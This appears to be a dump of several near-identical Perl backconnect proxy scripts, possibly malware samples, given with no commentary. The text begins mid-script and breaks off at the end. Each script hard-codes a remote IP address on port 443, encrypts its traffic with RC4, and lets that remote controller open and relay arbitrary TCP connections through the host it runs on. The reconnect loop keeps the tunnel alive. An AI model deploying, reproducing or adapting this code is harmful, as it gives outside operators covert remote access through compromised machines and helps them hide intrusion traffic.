substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.175'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.183'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.196'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; 